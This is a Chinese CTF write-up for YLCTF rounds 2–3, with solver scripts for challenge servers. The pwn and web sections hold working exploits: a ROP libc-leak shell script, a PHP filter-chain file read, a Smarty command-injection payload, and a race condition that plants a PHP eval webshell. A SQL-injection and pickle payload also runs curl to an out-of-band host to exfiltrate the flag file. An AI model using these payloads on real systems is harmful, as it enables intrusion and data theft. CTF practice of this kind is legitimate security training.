54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import torch
import torch.nn as nn
from torchvision import transforms
from PIL import Image
import numpy as np
import re
class MNISTCNN(nn.Module):
def __init__(self):
super(MNISTCNN, self).__init__()
self.conv1 = nn.Conv2d(1, 32, kernel_size=5, padding=2)
self.conv2 = nn.Conv2d(32, 64, kernel_size=5)
self.fc1 = nn.Linear(64 * 5 * 5, 1024)
self.fc2 = nn.Linear(1024, 10)
self.pool = nn.MaxPool2d(2, 2)
self.relu = nn.ReLU()

def forward(self, x):
x = self.pool(self.relu(self.conv1(x)))
x = self.pool(self.relu(self.conv2(x)))
x = x.view(-1, 64 * 5 * 5)
x = self.relu(self.fc1(x))
return self.fc2(x)

def load_model(model_path):
model = MNISTCNN()
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu')))
model.eval()
return model

def preprocess_image(binary_data):
image_array = np.array([int(pixel) for pixel in binary_data]).reshape(480, 640)
image = Image.fromarray(np.uint8(image_array * 255), mode='L')
transform = transforms.Compose([
transforms.Resize((28, 28)),
transforms.ToTensor(),
transforms.Normalize((0.1307,), (0.3081,))
])
return transform(image).unsqueeze(0)

def predict_digit(model, image):
with torch.no_grad():
output = model(image)
return torch.max(output, 1)[1].item()

def main():
try:
p = remote("challenge.yuanloo.com", 30991)
model = load_model('model.pth')
predictions = []

for i in range(36):
try:
data = p.recvuntil(f"input num {i + 1} \n".encode(), timeout=3)
binary_data = re.findall(r"[01]+", data.decode())

if not binary_data:
print(f"No binary data found in round {i + 1}. Exiting...")
break

image = preprocess_image(binary_data[0].strip())
predicted = predict_digit(model, image)
predictions.append(predicted)

p.sendline(str(predicted).encode())
print(f"Round {i + 1}: Predicted digit: {predicted}")

except EOFError:
print(f"Connection closed unexpectedly in round {i + 1}")
break
except Exception as e:
print(f"Error in round {i + 1}: {str(e)}")
break

final_data = p.recvall(timeout=5)
print("Final server response:", final_data.decode())

predicted_string = ''.join(map(str, predictions))
print("All predicted digits as a string:", predicted_string)

except Exception as e:
print(f"An error occurred: {str(e)}")
finally:
if 'p' in locals():
p.close()

if __name__ == "__main__":
main()
[Round 2] Trace

图片用010打开发现后面一大段有base64编码,去赛博转换一下得到一个rar文件,PassFabforRAR解密一下,得到密码370950解密得到里面的图片

test

仔细在记事本上研究了一会拼出了flag

1
YLCTF{ccfe9e2c-391f-4055-a128-c06b65426c83}

Pwn

[Round 2] ezstack2

有nx保护

ida看,stack里有栈溢出,vuln里有判断执行system(“sh”)。

stack1

通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc的地址.

使用ROPgadget获取pop_rdi和ret地址,通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc地址,最后泄露libc地址和执行system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
p = remote('challenge.yuanloo.com', 25160)
elf = ELF('./pwn')

rdi = 0x400823
main = 0x40070A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = b'a' * (0x30 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
payload2 = b'a' * (0x30 + 8) + p64(0x40056e) + p64(rdi) + p64(binsh) + p64(sys)
p.sendline(payload2)
p.interactive()

stack2

Re

[Round 2] 三点几啦饮茶先
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def decipher(v, k):
v0, v1 = v
sum = (289739961 * 40) & 0xffffffff # Initial sum value
delta = 289739961
for i in range(40):
v1 -= (((v0 >> 5) ^ (16 * v0)) + v0) ^ (k[(sum >> 11) & 3] + sum)
v1 &= 0xffffffff
sum -= delta
sum &= 0xffffffff
v0 -= (((v1 >> 3) ^ (4 * v1)) + v1) ^ (k[sum & 3] + sum)
v0 &= 0xffffffff
return [v0, v1]

# 目标密文
target_v0 = 1913208188
target_v1 = -1240730499 & 0xffffffff # 转换为无符号整数

# 密钥
key = [4097, 8194, 12291, 16388]

# 解密
decrypted = decipher([target_v0, target_v1], key)

print(f"解密结果: {decrypted}")
print(f"输入的两个标签应该是: {decrypted[0]}{decrypted[1]}")
[Round 2] ezwasm

wasm

外部改成大写即可

Web

[Round 2] Cmnts
1
Z2V0X3RoMXNfZjFhZy5waHA=  #get_th1s_f1ag.php
1
?key=a7a795a8efb7c30151031c2cb700ddd9

变量覆盖

[Round 2] Pseudo(复现)

可以看到给的附件里面的下载的php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$data = file_get_contents($_GET['file']);
$file = tmpfile();
fwrite($file, $data);
fflush($file);
$type = mime_content_type(stream_get_meta_data($file)['uri']);
fclose($file);

if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {
echo "error!!!";
exit;
}else{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="download.jpg"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
echo($data);
exit;
}
}

可以利用这里的函数漏洞得到flag,关键点是需要绕过mime_content_type函数,可以利用filterchain进行绕过得到flag

下面是脚本,或者用GitHub上面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
$base64_payload = "R0lGODlB"; /*GIF89A*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/flag";
echo $final_payload;

pseudo

[Round 2] PHUPE(复现)

这题写的时候的思路就是尝试文件上传进行smarty的模板注入,但是没有成功。

0x01

TPL是Smarty模板引擎使用的模板文件格式,它允许将PHP逻辑代码与HTML展示代码分离,使用特殊的标签语法 {标签} 来实现动态内容。

smarty 可以使用 math + 8进制进行绕过

1
2
3
4
5
6
7
8
9
10
{extends file='views/layout.tpl'}
{block name=content}
<h1>CTF File Reader</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}

跟着复现没有成功,感觉可能中间跳步骤了。时隔一周回来填坑,确实是自己的问题,没有好好研究给的附件,需要在对应的文件上进行文件的覆盖

phu

然后就有flag了

0x02

从0CTF一道题看move_uploaded_file的一个细节问题,参考链接

[Round 2] RedFox(复现)

先注册一个账号进行登陆

有一个上传评论的地方,发现可以有ssrf的漏洞(当时其实想到这层了,没注意回显包)

redfox1

redfox2

然后测试一下/flag有无发现没有,

/uploads/profile_0f1726ba83325848d47e216b29d5ab99.jpg,后面我也没找到本地文件,先到这吧。,继续来填坑。

不能直接读到flag,尝试读index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

session_start();
require_once 'config.php';
require_once 'Database.php';
require_once 'User.php';
require_once 'Post.php';
require_once 'Message.php';

$db = new Database();
$user = new User($db);
$post = new Post($db);
$message = new Message($db);

$error = '';
$success = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['action'])) {
switch ($_POST['action']) {
case 'register':
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['email'])) {
if ($user->register($_POST['username'], $_POST['password'], $_POST['email'])) {
$success = "Registration successful. Please log in.";
} else {
$error = "Registration failed. Please try again.";
}
}
break;
case 'login':
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($user->login($_POST['username'], $_POST['password'])) {
$success = "Login successful.";
} else {
$error = "Invalid username or password.";
}
}
break;
case 'create_post':
if (isset($_SESSION['user_id']) && isset($_POST['content'])) {
$imageUrl = isset($_POST['image_url']) ? $_POST['image_url'] : null;
if ($post->create($_SESSION['user_id'], $_POST['content'], $imageUrl)) {
$success = "Post created successfully.";
} else {
$error = "Failed to create post.";
}
}
break;
case 'send_message':
if (isset($_SESSION['user_id']) && isset($_POST['to_user_id']) && isset($_POST['content'])) {
if ($message->send($_SESSION['user_id'], $_POST['to_user_id'], $_POST['content'])) {
$success = "Message sent successfully.";
} else {
$error = "Failed to send message.";
}
}
break;
case 'download_message':
if (isset($_SESSION['user_id']) && isset($_POST['data'])) {
if ($user->test($_SESSION['user_id'], $_POST['data'])) {
$success = "successfully.";
} else {
$error = "fail.";
}
}
break;
}
}
}

$feed = $post->getFeed();
?>

这是Database.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

<?php

class Database {
private $conn;

public function __construct() {
$this->conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if ($this->conn->connect_error) {
die("Connection failed: " . $this->conn->connect_error);
}
}

public function query($sql, $params = []) {

$stmt = $this->conn->prepare($sql);

if ($stmt === false) {
return false;
}

if (!empty($params)) {
$types = str_repeat('s', count($params));
$stmt->bind_param($types, ...$params);
}

$stmt->execute();

if (stripos($sql, 'select') !== false) {
return $stmt->get_result();
} else {
return $stmt->affected_rows;
}
}

public function escape($value) {
return $this->conn->real_escape_string($value);
}
}

这是User.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

class User {
private $db;

public function __construct($db) {
$this->db = $db;
}

public function register($username, $password, $email) {
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
$sql = "INSERT INTO users (username, password, email) VALUES (?, ?, ?)";
return $this->db->query($sql, [$username, $hashedPassword, $email]);
}

public function login($username, $password) {
$sql = "SELECT * FROM users WHERE username = ?";
$result = $this->db->query($sql, [$username]);
if ($result->num_rows == 1) {
$user = $result->fetch_assoc();
if (password_verify($password, $user['password'])) {
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
return true;
}
}
return false;
}

public function test($id,$data){
if(count(array_unique(str_split($data))) <= 7 && !preg_match('/[a-z0-9]/i', $data)){
eval($data);
}
}
}

post.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

class Post {
private $db;

public function __construct($db) {
$this->db = $db;
}

public function create($userId, $content, $imageUrl = null) {
$sql = "INSERT INTO posts (user_id, content, image_url) VALUES (?, ?, ?)";
$image = $this->uploadImage($userId,$imageUrl);
return $this->db->query($sql, [$userId, $content, $image]);
}

public function getFeed($page = 1, $limit = 10) {
$offset = ($page - 1) * $limit;
$sql = "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id ORDER BY p.created_at DESC LIMIT ?, ?";
return $this->db->query($sql, [$offset, $limit]);
}

public function uploadImage($userId, $imageUrl) {

$filename = "";
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, $imageUrl);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$imageContent = curl_exec ($curl);
curl_close ($curl);

if(preg_match('/http|gopher|dict/i',$imageUrl) && preg_match('/php|<\?|script/i',$imageContent)){
return false;
}

if ($imageContent !== false && strlen($imageContent)>50) {
$filename = 'profile_' . md5($imageUrl) . '.jpg';
file_put_contents('./uploads/' . $filename, $imageContent);
}else{
return false;
}

return "./uploads/" . $filename;
}

}

Message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Message {
private $db;

public function __construct($db) {
$this->db = $db;
}

public function send($fromUserId, $toUserId, $content) {
$sql = "INSERT INTO messages (from_user_id, to_user_id, content) VALUES (?, ?, ?)";
return $this->db->query($sql, [$fromUserId, $toUserId, $content]);
}

public function getConversation($user1Id, $user2Id, $page = 1, $limit = 20) {
$offset = ($page - 1) * $limit;
$sql = "SELECT * FROM messages WHERE (from_user_id = ? AND to_user_id = ?) OR (from_user_id = ? AND to_user_id = ?) ORDER BY created_at DESC LIMIT ?, ?";
return $this->db->query($sql, [$user1Id, $user2Id, $user2Id, $user1Id, $offset, $limit]);
}
}
?>

打包分析一下发现存储在一个文件夹跟进,发现有漏洞的地方是在post.php里,但是已经利用过了

在index.php里有

1
2
3
4
5
public function test($id,$data){
if(count(array_unique(str_split($data))) <= 7 && !preg_match('/[a-z0-9]/i', $data)){
eval($data);
}
}

可以打一个条件竞争进去

1
file:///etc/php/7.0/apache2/php.ini

fox

然后上exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import io
import sys
import requests
import threading

sessid = 'orange'

def WRITE(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://challenge.yuanloo.com:27814/index.php',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[a]);'>/var/www/html/uploads/shell.php\n"},
files={"file": ('wi.txt', f)},
cookies={'PHPSESSID': sessid}
)

def READ(session):
while True:
request = requests.session()
data = {
'action': 'login',
'username': '123',
'password': '123'
}
request.post("http://challenge.yuanloo.com:27814/", data=data)

data = {
'action': 'download_message',
'data': '`. /???/???/???/???/??????????????`;'
}
request.post("http://challenge.yuanloo.com:27814/", data=data)

if requests.get("http://challenge.yuanloo.com:27814/uploads/shell.php").status_code != 404:
print('Success!')
exit(0)

with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()

READ(session)
[Round 2] SNEKLY(复现)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from flask import Flask, render_template, request, jsonify
from flask_login import LoginManager, UserMixin
import sqlite3
import base64
import pickle
import os

app = Flask(__name__)

app.config['SECRET_KEY'] = '060ac533d307'
app.static_folder = 'static'
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

user = {}

current_dir = os.path.dirname(os.path.abspath(__file__))

db_path = os.path.join(current_dir, 'data.db')


class User(UserMixin):
def __init__(self, id, username, password_hash, data):
self.id = id
self.username = username
self.password_hash = password_hash
self.data = data


@login_manager.user_loader
def load_user(user_id):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
user_data = cursor.fetchone()
conn.close()

if user_data:
return User(id=user_data[0], username=user_data[1], password_hash=user_data[2], data=user_data[3])
return None


@app.route('/')
def index():
return render_template("login.html")


@app.route('/login', methods=['POST'])
def login():
global user
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')

if not username or not password:
return jsonify({"code": 1, "msg": "用户名或密码不能为空"})

try:
con = sqlite3.connect(db_path)
cur = con.cursor()

output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=request.form)
).fetchone()

if output is None:
return jsonify({"code": 1, "msg": "用户名或密码错误"})

user['id'], user['username'], user['password'], user['data'] = output

# 使用安全的密码验证方法
if (user['username'] == username) and (user['password'] == password):
return jsonify({"code": 0, "msg": "登录成功"})
else:
user = {}
return jsonify({"code": 1, "msg": "用户名或密码错误"})
except sqlite3.Error as e:
print(f"数据库错误: {e}")
return jsonify({"code": 1, "msg": "服务器错误,请稍后重试"})
return jsonify({"code": 1, "msg": "无效的请求方法"})


@app.route('/unSer')
def unSer():
try:
data = base64.b64decode(user['data'])
if any(keyword in data for keyword in [b'getattr', b'R', b'map', b'eval', b'exec', b'import']):
raise pickle.UnpicklingError("unSer")
pickle.loads(data)
except Exception as e:
pass
return "unSer"


if __name__ == "__main__":
app.run(host='0.0.0.0')

看到有pickle的模块大抵应该是考察python的反序列化,定位一下关键代码

1
2
3
4
5
6
7
8
9
def unSer():
try:
data = base64.b64decode(user['data'])
if any(keyword in data for keyword in [b'getattr', b'R', b'map', b'eval', b'exec', b'import']):
raise pickle.UnpicklingError("unSer")
pickle.loads(data)
except Exception as e:
pass
return "unSer"

使用bp打一个dnslog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import base64
import requests


def quine(data):
data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
data1 = data.replace("'", '"').replace('$$', "'$'")
data = data.replace('$$', f'"{data1}"')
return data


def exp():
username = "test\"'"

opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.urpybxuysw5jjp2ie3koqo4ia9g14rsg.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
a = base64.b64encode(opcode).decode()
res = ''
for i in a:
if ord(i) > 58 or ord(i) < 47:
res += "||CHAR(" + str(ord(i)) + ")"
else:
res += "||" + i
res = res[2:]

password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
password = quine(password)

requests.post(url="http://challenge.yuanloo.com:29180/login",
data={
"username": username,
"password": password
})

requests.get(url="http://challenge.yuanloo.com:29180/unSer")


if __name__ == "__main__":
exp()

SNEKLy

学学opcode吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
开头的 c__builtin__
c 表示这个数据结构是一个类的调用。
__builtin__ 是 Python 内置模块,意味着后续会调用该模块中的函数。
filter 是内置函数,用于过滤序列。它将在后续的调用中被使用。
p0 表示将后续的对象(0表示第一个对象)保存到位置 0。
0(S'curl http://... 是一个字符串对象,表示要执行的命令。
这里的命令使用反引号执行 cat /f*,并将输出发送到指定的 URL。
tp1 是另一个指令,用于标记后续的数据结构类型。
0(cos 说明后续数据是与 cos 相关
system 是 os 模块中的一个函数,用于执行系统命令。
g1 用于获取在之前定义的对象,可能是一个函数的引用。
tp2 标记下一个数据结构的类型。
0g0 指获取第一个对象(即命令字符串)。
g2 表示下一个对象的获取。
\x81 是一个转义字符,用于处理特定的内部格式。
p3 表示将此对象保存到位置 3。
0c__builtin__ 和 tuple:
这段是为了创建一个元组,包含前面定义的对象。
最终的结构是一个包含 system 函数和命令的元组。
p4 将这个元组保存在位置 4。
(g3 是标记获取之前保存的对象(即要执行的命令)。

Round 3

crypto

[Round 3] ezlcg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
import re
from Crypto.Util.number import inverse

p = remote("challenge.yuanloo.com", 22178)

# 跳过前27行
for _ in range(27):
p.recvline()

def solve_lcg_parameters(states, N):
"""求解LCG的参数a和b"""
diffs = []
for i in range(len(states) - 1):
diffs.append((states[i + 1] - states[i]) % N)

a_candidates = []
for i in range(len(diffs) - 1):
if diffs[i + 1] != 0:
try:
a = (diffs[i + 1] * inverse(diffs[i], N)) % N
a_candidates.append(a)
except:
continue

if len(a_candidates) > 0:
a = max(set(a_candidates), key=a_candidates.count)
b = (states[1] - a * states[0]) % N
return a, b
return None, None

def find_seed(N, num1, num2, num3):
"""从三个连续状态值找到初始种子"""
states = [num1, num2, num3]

# 求解a和b
a, b = solve_lcg_parameters(states, N)

if not a or not b:
return None, None, None

# 反推seed
seed = ((num1 - b) * inverse(a, N)) % N

# 验证
state = seed
verified = True
for expected in [num1, num2, num3]:
state = (state * a + b) % N
if state != expected:
verified = False
break

return seed, a, b if verified else (None, None, None)

for _ in range(50):
data = p.recvuntil("seed =".encode()).decode()

